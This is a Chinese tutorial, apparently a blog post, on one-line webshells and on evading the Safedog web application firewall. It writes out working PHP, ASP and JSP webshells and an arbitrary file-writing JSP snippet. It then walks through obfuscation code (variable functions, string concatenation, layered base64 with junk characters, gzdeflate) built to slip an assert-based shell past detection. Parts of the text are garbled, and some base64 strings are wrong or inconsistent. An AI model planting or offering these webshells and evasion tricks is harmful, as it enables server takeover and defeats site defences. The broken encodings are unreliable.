过狗一句话原理与利用

在之前的文件上传漏洞中就有介绍过木马文件,通过上传木马文件实现远程连接从而进行远程控制操作。利用上传文件漏洞上传木马文件过程中,可能会遇到服务端对上传文件后缀、文件名、文件格式以及文件内容等进行检测过滤,从而导致木马文件上传失败。如今存在很多过滤机制与安全产品能够实现网站上传保护,比如安全狗。因此,学习如何绕过这些保护机制成功上传木马文件是至关重要的。在下面的学习中我们称之为过狗一句话,该名称源于绕过安全狗的检测机制成功过上传一句话木马文件。
在学习过狗一句话之前,需要先学习一句话木马的原理与利用,将一句话木马剖析清楚后有利于对过狗一句话原理的理解。

1、 一句话木马

WEBSHELL又称网页木马文件,根据开发语言的不同又分为ASP木马、PHP木马、JSP木马等,该类木马利用了脚本语言中的系统命令执行、文件读写等函数的功能,一旦上传到服务器被脚本引擎解析,攻击者就可以实现对服务器的控制。

一句话木马因其短小精悍不易被过滤又能与中国菜刀等工具配合使用的优势,成为了业界最使用的WEBshell类型。根据不同开发语言,一句话木马的构造语法不同,下面介绍三种开发语言的一句话木马写法:

PHP一句话木马:
<?php @eval($_POST['v']);?>JSP一句话木马:
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>ASP一句话木马:
<% eval request("v")%>
成功上传一句话木马文件后,通过工具进行远程连接get webshell,比如菜刀和蚁剑:


下面分别介绍下各类开发语言的木马语句构造原理:

PHP木马

语法:

<?php @eval($_POST['v']);?>

原理:
eval()函数会将参数作为PHP代码进行执行,因此通过eval()函数中的参数v提交要执行的代码即可完成漏洞利用。语句中的@符号作用是可以屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。如此一来,即使$_POST[]变量没有获取到参数值时也不会报错。这样除了用户界面会友好一些外,更重要的是安全性,因为屏蔽了出错文件的路径等信息。
成功上传一句话木马文件后可以直接用菜刀或蚁剑连接,也可以访问文件上传路径实现任意命令执行,通过v参数传入命令执行函数system(),执行system()函数中的系统命令:

ASP木马

语法:

<%eval request("cmd")%>

原理:
eval函数会将参数作为ASP代码进行执行,因此通过参数cmd提交要执行的代码即可完成漏洞利用。木马文件成功上传后可以直接用菜刀或蚁剑连接,也可以访问文件上传路径实现任意命令执行。注意语句中利用的是request()函数,此函数能够接收GET方式和POST方式传入的参数,因此传入参数时可以直接在URL中构造语句,传入cmd参数如下图,在exec()函数中输入任意系统命令:

上图中的系统命令ipconfig运行结果显示页面如下:

JSP一句话木马

语法:

<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

原理:
JSP一句话木马可以向网站提交任意JSP代码并生成脚本文件。上述代码中的request.getParameter(“f”)获取到参数f的值作为创建的文件名,然后调用write往创建的文件中写入request.getParameter(“t”)获取到的参数t的值作为文件内容。

在火狐构造post表单参数,因为是request接收所以不论post还是get服务端都能够获取到参数值。表单发送后,发现服务端真的创建了1.txt文件,并且文件内容就是hello。

//1.txt
hello

2、 过狗一句话

单从php一句话木马语法上理解,如<?php @eval($_POST[‘pass’])?>,首先 P O S T 会 获 取 p o s t 到 服 务 器 的 参 数 名 p a s s 数 据 , 然 后 e v a l 会 将 _POST会获取post到服务器的参数名pass数据,然后eval会将 P​OST会获取post到服务器的参数名pass数据,然后eval会将_POST获取的字符串按照php语法进行解析,这样我们通过各种php函数的组合使用就能通过中国菜刀等工具对服务器的文件进行操作,这也就是常见一句话的工作原理。
通常,过狗一句话是过滤或者屏蔽一些敏感字眼或敏感函数以此来阻止木马文件中的恶意代码被执行,比如eval()函数和assert()函数等。因此过狗一句话重点就在于如何将eval函数绕过安全狗等安全产品的过滤与检测,最终在服务端仍然执行恶意代码并实现远程连接。
举例一种最简单的绕过方式,就是将eval字符作为另一个参数传入,如下锁好是:

<?php
$a = $_POST[‘cmd’];
$a($_POST[‘pass’]);
?>

此时在火狐post数据提交处输入 cmd=eval&pass=123 便可构成一句话木马。
或者将assert字符串通过拼接方式利用:

<?php
$a = ‘a’.’s’.’s’.’e’.’r’.’t’;
$a($_POST[‘pass’]);
?>

通过字符拼接符将assert隔开绕过过滤检测,但是此方法只适用于assert函数,对于eval函数来说不可行,eval字符隔开后再拼接无法生效,没办法正常执行语句,因此这个方法局限于assert函数的一句话木马绕过。
上面介绍的两种简单绕过方法都有一定的局限性,因此我们需要学习更为规范的通用的过狗一句话。一般来说,通用的过狗一句话常要用到三个函数:

str_replace('aa','a',$a);    //1.被替换内容 2.用作替换内容 3.替换的内容
base64_encode();            //加密
base64_decode();            //解密

过狗一句话听起来很复杂,但主要思路就是对一句话中的危险的回调函数assert等进行base64加密然后插入随便字符,然后用str_replace()函数替换,绕来绕去还是替换成assert($_POST[“v”]);的base64加密,然后在解密,就可以了。

整体的Byass思路:

根据网站开发语言准备对应的一句话木马,对一句话中的敏感字眼/敏感函数进行base64编码,在编码后的语句中插入混淆字符,然后再次对其进行base64二次编码。对这串字符串进行压缩处理为了不易别发现,解压后进行base64解码处理,接着清除混淆字符后进行二次解码,最后进行数据拼接完成一句话木马。

3、 过狗一句话案例

按照上述思路重新编写一句话木马,如下图所示案例:

分析上述过狗一句话代码的编写思路:

1.准备好普通的一句话:

Assert($_POST[“cmd”]);

2.对其中的危险性函数assert进行base64编码并加入混淆字符thinking和JoeVatte:

Base64编码:YXNzZXJO
加入混淆字符:YXNthinkingzZXJoeVatteJ0

3.对YXNthinkingzZXJoeVatteJ0再次base64编码:

WVhOdGhpbmtpbmd6WlhKb2VWYXROZUow

4.对上述代码使用gzdeflate()对数据进行压缩:

gzdeflate('WVhOdGhpbmtpbmd6WIhKb2VWYXR0ZUow);

5.使用base64_decode和gzinflate进行嵌套,先解压缩再进行base64解码,再把值传入变量中(1-5的步骤主要是做了混淆处理)到这一步变量的值已经转回:YXNthinkingzZXJoeVatteJ0:

6.定义函数cl()将 YXNthinkingzZXJoeVatteJ0中的混淆字符替换为空并进行base64解码最终转化为assert:

str_replace($step_2,$step_1,$data);的意思是在, d a t a 数 据 里 面 寻 找 data数据里面寻找 data数据里面寻找step_2数组里的数据,并使用$step_1数组的数据进行替换,且替换是数组中位置一一对应的。处理后得到的是YXNzZXJ0,再使用base64解码下就得到assert,并把assert返回到调用函数的位置。

7.经过函数的处理(cl)后cl($data)返回的值为assert,然后进行拼接,得到

$a(@$_POST['cmd']);

实际上经过1-7的操作后最终获得:

$a(@$_POST['cmd']); == assert(@$_POST['cmd']);

过狗一句话原理与利用相关推荐

  1. [网络安全自学篇] 三十三.文件上传之绕狗一句话原理和绕过安全狗(六)

    这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文详细讲解了Upload-labs靶场及文件上传漏洞20道CTF题目,并结合C ...

  2. 文件上传保姆级教程(原理,大小马,CTF,防御,绕狗一句话,upload-labs)

    文章目录 文件上传漏洞简历 产生原因 危害 容易出现文件上传漏洞的地方 概括 环境搭建 一句话马 一句话木马原理 webshell常用的一句话 图片一句话 小马与大马的区别 webshell管理工具 ...

  3. 浅谈SQL注入漏洞原理及利用方式

    1.SQL注入 原理: 在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的恶意"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行.漏洞产生于脚 ...

  4. 单片机看门狗工作原理

    刚学习单片机的萌新都听说过单片机看门狗,但是对于其工作原理并不是很清楚,今天这篇文章将为大家介绍单片机看门狗工作原理,一起来了解一下吧! 一.单片机看门狗是什么 在由单片机组成的微型计算机系统中,单片 ...

  5. (23)【漏洞利用】【原理、利用过程】中间件解析漏洞、CMS漏洞、编辑器漏洞、CVE漏洞

    目录 解析漏洞: 原理: 变化因素: 熟知的中间件(解析漏洞) 0x01    IIS5.x-6.x解析漏洞: (1)目录解析漏洞(IIS6.0) 原理: 利用过程: (2)文件解析漏洞 原理: 利用 ...

  6. php 过狗一句话木马的编写

    我们都知道 这个是php一句话  <?php assert($_POST['mima']); ?> 可是服务器的安全狗会识别到,我们要经过一些处理, 让安全狗不能认出我们的代码是一句话木马 ...

  7. 过新版狗php一句话,整理的最新WebSHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话)...

    整理的最新WebSHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话) 发布时间:2020-06-20 00:54:04 来源:51CTO 阅读:3175 作者:gu ...

  8. python画椭圆turtle_python之turtle画蚊香,python用turtle画圆弧,原理:利用turtl

    python之turtle画蚊香,python用turtle画圆弧,原理:利用turtl 原理:利用turtle绘制圆形,并使圆半径逐步增加 代码如下:import turtleturtle.pens ...

  9. 游戏推广的原理,利用空间,产品的分类

    如果你真的想了解手游推广游戏创业的项目,请认真看完下面的内容,只有你了解了游戏推广的原理,利用空间,尤其是产品的分类,这样你才能有一个直观的理解.我们长话短说,今天我们讲三点游戏推广的原理,游戏重要的 ...

最新文章

  1. *103.编译的过程
  2. JDK1.1 JDK1.2 JDK1.3 JDK1.4 JDK1.5 JDK1.6 JDK1.7
  3. Java 9 尝鲜之JShell交互式编程环境
  4. 如何在vsc上下载php扩展包,正确的 Composer 扩展包安装方法
  5. 带有JSF,Servlet和CDI的DynamicReports和JasperReports
  6. UIView的一些基本方法 init、loadView、viewDidLoad、viewDidUnload、dealloc
  7. 转载:为什么OpenFlow没有被广泛采用?
  8. (3)Deep Learning之神经网络和反向传播算法
  9. 120多套各种类别微信小程序模板源码
  10. OpenCV 学习笔记-day9 OpenCV自带颜色表操作(colormap(色度图)ColormapTypes 枚举数据类型与applyColorMap()伪彩色函数)
  11. chm sharp安卓版_chm阅读器安卓版下载
  12. 常见的服务器报错数字的意思
  13. 《变量——本土时代的生存策略》(2021-2049)何帆/著 读后感
  14. 国药集团获得美国默沙东公司新冠口服药“莫诺拉韦”经销权和独家进口权 | 美通社头条...
  15. 怎么做到ERP基础数据快速简单管理
  16. android 系统的切图方式_android APPUI设计、切图的常用尺寸大全
  17. php 下一年,php获取一年有多少天
  18. 小程序(微信公众平台)监控警告来源-【JS脚本错误】
  19. SqlServer数据库置疑的解决办法
  20. 华为手机便签日历怎么显示节假日休假信息

热门文章

  1. 苏格拉底与失恋者对话(治疗心理)
  2. 【renice】调整进程的nice值,即调整进程的优先级别
  3. Springboot停车管理系统 毕业设计-附源码65522
  4. 少一些计较多_少一些计较多一些包容的说说
  5. php input onclick,html中onclick事件属性定义与用法
  6. 城固一中2021年高考成绩查询,2021年陕西高中排名及分数线 高考本科升学率排行榜...
  7. 腾讯网页重构笔试总结
  8. torch.optim.lr_scheduler.StepLR()函数
  9. BUUCTF Misc 谁赢了比赛? [SWPU2019]我有一只马里奥 [WUSTCTF2020]find_me [GXYCTF2019]gakki
  10. home assistant 配置microsoft todo(微软待办)同步